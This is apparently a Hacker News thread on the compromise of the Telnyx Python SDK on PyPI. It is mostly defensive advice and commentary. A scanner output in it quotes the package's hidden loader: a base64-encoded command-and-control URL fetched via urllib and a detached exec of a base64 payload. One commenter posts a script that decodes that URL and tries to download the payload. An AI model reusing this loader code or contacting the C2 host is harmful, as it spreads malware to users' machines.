logoalt Hacker News

Telnyx package compromised on PyPI

125 pointsby ramimacyesterday at 8:57 AM127 commentsview on HN

https://github.com/team-telnyx/telnyx-python/issues/235

https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-...


Comments

mil22yesterday at 7:27 PM

For those using uv, you can at least partially protect yourself against such attacks by adding this to your pyproject.toml:

  [tool.uv]
  exclude-newer = "7 days"
or this to your ~/.config/uv/uv.toml:

  exclude-newer = "7 days"
This will prevent uv picking up any package version released within the last 7 days, hopefully allowing enough time for the community to detect any malware and yank the package version before you install it.
show 10 replies
f311ayesterday at 7:00 PM

They did not even try to hide the payload that much.

Every basic checker used by many security companies screams at `exec(base64.b64decode` when grepping code using simple regexes.

  hexora audit 4.87.1/2026-03-27-telnyx-v4.87.1.zip  --min-confidence high  --exclude HX4000

  warning[HX9000]: Potential data exfiltration with Decoded data via urllib.request.request.Request.
       ┌─ 2026-03-27-telnyx-v4.87.1.zip:tmp/tmp_79rk5jd/telnyx/telnyx/_client.py:77
  86:13
       │
  7783 │         except:
  7784 │             pass
  7785 │
  7786 │         r = urllib.request.Request(_d('aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg=='), headers={_d('VXNlci1BZ2VudA=='): _d('TW96aWxsYS81LjA=')})
       │             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX9000
  7787 │         with urllib.request.urlopen(r, timeout=15) as d:
  7788 │             with open(t, "wb") as f:
  7789 │                 f.write(d.read())
       │
       = Confidence: High
         Help: Data exfiltration is the unauthorized transfer of data from a computer.


  warning[HX4010]: Execution of obfuscated code.
       ┌─ 2026-03-27-telnyx-v4.87.1.zip:tmp/tmp_79rk5jd/telnyx/telnyx/_client.py:78
  10:9
       │
  7807 │       if os.name == 'nt':
  7808 │           return
  7809 │       try:
  7810 │ ╭         subprocess.Popen(
  7811 │ │             [sys.executable, "-c", f"import base64; exec(base64.b64decode('{_p}').decode())"],
  7812 │ │             stdout=subprocess.DEVNULL,
  7813 │ │             stderr=subprocess.DEVNULL,
  7814 │ │             start_new_session=True
  7815 │ │         )
       │ ╰─────────^ HX4010
  7816 │       except:
  7817 │           pass
  7818 │
       │
       = Confidence: VeryHigh
         Help: Obfuscated code exec can be used to bypass detection.
show 1 reply
jbrowningyesterday at 7:09 PM

> The payload isn't delivered as a raw binary or a Python file. It's disguised as a .wav audio file.

> The WAV file is a valid audio file. It passes MIME-type checks. But the audio frame data contains a base64-encoded payload. Decode the frames, take the first 8 bytes as the XOR key, XOR the rest, and you have your executable or Python script.

Talk about burying the lede.

show 2 replies
zahlmanyesterday at 11:14 PM

> If the version shown is 4.87.1 or 4.87.2, treat the environment as compromised.

More generally speaking one would have to treat the computer/container/VM as compromised. User-level malware still sucks. We've seen just the other day that Python code can run at startup time with .pth files (and probably many other ways). With a source distribution, it can run at install time, too (see e.g. https://zahlman.github.io/posts/python-packaging-3/).

> What to Do If Affected

> Downgrade immediately:

> pip install telnyx==4.87.0

Even if only the "environment" were compromised, that includes pip in the standard workflow. You can use an external copy of pip instead, via the `--python` option (and also avoid duplicating pip in each venv, wasting 10-15MB each time, by passing `--without-pip` at creation). I touch on both of these in https://zahlman.github.io/posts/python-packaging-2/ (specifically, showing how to do it with Pipx's vendored copy of pip). Note that `--python` is a hack that re-launches pip using the target environment; pip won't try to import things from that environment, but you'd still be exposed to .pth file risks.

show 1 reply
ramimacyesterday at 8:59 AM

We haven't blogged this yet, but a variety of teams found this in parallel.

The packages are quarantined by PyPi

Follow the overall incident: https://ramimac.me/teampcp/#phase-10

Aikido/Charlie with a very quick blog: https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-...

ReversingLabs, JFrog also made parallel reports

show 2 replies
6thbityesterday at 9:10 PM

So both this and litellm went straight to PyPI without going to GitHub first.

Is there any way to setup PyPI to only publish packages that come from a certain pattern of tag that exists in GH? Would such a measure help at all here?

show 2 replies
_ache_yesterday at 11:47 PM

How can we get the wav ? `curl -A "Mozilla/5.0" "http://<C2C_EndPoint>/hangup.wav"` does hang.

No ... I tried hard. But still get a timeout.

    import urllib.request
    import base64

    def _d(x):
        return base64.b64decode(x).decode("utf-8")


    C2C_URL = _d("aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg==")
    # C2C_URL = "http://XXXXX:8080/ringtone.wav"

    r = urllib.request.Request(
        C2C_URL, headers={_d("VXNlci1BZ2VudA=="): _d("TW96aWxsYS81LjA=")}
    )
    with urllib.request.urlopen(r, timeout=15) as d:
        with open("/tmp/exatracted_tpcp.wav", "wb") as f:
            f.write(d.read())
viscousviolinyesterday at 7:03 PM

Is there a notification channel you can subscribe to / look at if you want to stay up to date on compromised PyPI packages?

show 2 replies
deathanatosyesterday at 8:51 PM

> The Telnyx platform, APIs, and infrastructure were not compromised. This incident was limited to the PyPI distribution channel for the Python SDK.

Am I being too nitpicky to say that that is part of your infrastructure?

Doesn't 2FA stop this attack in its tracks? PyPI supports 2FA, no?

show 3 replies
ivanvanderbylyesterday at 7:24 PM

Has anyone here used Telnyx? I tried to build a product against their API last year and 3 weeks after signing up they banned my account and made it impossible to get an answer as to why or re-enable it.

show 4 replies
raphinoutoday at 9:47 AM

I'm working on a multi signature system for file authentication that can detect unauthorized file publications. It is self-funded, open source, auditable, self hostable, accountless. I'm looking for testers and feedback, don't hesitate to contact me if interested. More info at https://asfaload.com/

ilakshyesterday at 7:15 PM

The way I use Telynx is via SIP which is an open protocol. No reason we should be relying on proprietary APIs for this stuff.

On GitHub see my fork runvnc/PySIP. Please let me know if you know if something better for python that is not copy left or rely on some copy left or big external dependency. I was using baresip but it was a pain to integrate and configure with python.

Anyway, after fixing a lot in the original PySIP my version works with Telynx. Not tested on other SIP providers.

jlundbergyesterday at 7:30 PM

We have always been API first rather than SDK first.

Never really thought too much about the security implications but that is of course a benefit too.

Main reasoning for us has been to aim for a really nice HTTP API rather than hide uglyness with an SDK on top.

infinitewarsyesterday at 7:42 PM

Is this happening in part due to the sheer volume of pull-requests with AI generated code.. things are slipping through?

show 1 reply
cozzydtoday at 12:37 AM

Wonder if publishing keys were compromised in one of the previous PyPI incidents...

slowmovintargetyesterday at 6:59 PM

Telnyx provides voice capabilities for OpenClaw for those wondering.

show 1 reply
indigodaddyyesterday at 7:41 PM

Hah, need to setup a Grandstream HT801 this weekend and this cements my decision to use voip.ms vs telnyx. Not that the device would use that library (have no idea), but just, yeah generally, it's a good cue to stay away for me.

kelvinjps10yesterday at 9:02 PM

I received an email from them about the vulnerability but I don't remember ever using them

charcircuityesterday at 7:09 PM

2FA needs to be required for publishing packages. An attacker compromising someone's CI should not give them free reign to publish malicious packages at any time they want.

show 3 replies
spocchioyesterday at 7:58 PM

Is there anyone who uses it? I see their repo's Initial Commit was on Jan 2026... quite a new package! Also, the number of GitHub stars and forks is quite low.

Does the package have a user base, or did the malicious team target one of the many useless GitHub repos?

show 1 reply
dlcarrieryesterday at 7:04 PM

At this point, I'm not updating anything using Python.

Not that I had the option anyway, because everything using Python breaks if you update it. You know they've given up on backward comparability and version control, when the solution is: run everything in a VM, with its own installation. Apparently it's also needed for security, but the VMs aren't really set up to be secure.

I don't get why everything math heavy uses it. I blame MATLAB for being so awful that it made Python look good.

It's not even the language itself, not that it doesn't have its own issues, or the inefficient way it's executed, but the ecosystem around it is so made out of technical debt.

show 4 replies
oncallthrowyesterday at 7:10 PM

I think it's only a matter of time at this point before a devastating supply chain attack occurs.

Supply-chain security is such a dumpster fire, and threat actors are realising that they can use LLMs to organize such attacks.

show 1 reply
anthkyesterday at 9:38 PM

The Guix PM in this context can create an isolated environment and import PyPI packages for you adapted into Guix Scheme manifest files. Not just Python, Perl, Ruby, Node... if you have to use dangerous our propietary environments for the enterprise, (not for personal computing), at least isolate them so the malware doesn't spread over.

rvzyesterday at 7:17 PM

That's not good. Time to raise the package security draw bridge on vibe coders.

show 1 reply
TZubiriyesterday at 6:44 PM

Shoutouts to all the real engineers who use a generic http client to call APIs and weren't impacted by this.

LoganDarkyesterday at 7:39 PM

I used to use Telnyx many years ago, but was squeezed out when they started adding layer after layer of mandatory identity verification. Nope.

devnotes77today at 12:05 AM

[dead]

iam_circuittoday at 12:05 AM

[dead]

midnightrun_aiyesterday at 7:31 PM

[dead]

jeremie_strandtoday at 5:33 AM

[flagged]

jeremie_strandtoday at 2:51 AM

[flagged]

jeremie_strandtoday at 2:11 AM

[flagged]

zar1048576yesterday at 9:05 PM

[dead]

midnightrun_aitoday at 6:22 AM

[dead]

midnightrun_aiyesterday at 7:31 PM

[dead]

riteshkew1001today at 8:16 AM

[dead]

masterjayyesterday at 7:39 PM

[dead]

carlsborgyesterday at 6:58 PM

Anthropic/OpenAI could own this space. They should offer a paid service that offers a mirror with LLM scanned and sandbox-evaluated package with their next gen models. Free for individuals, orgs can subscribe to it.

show 5 replies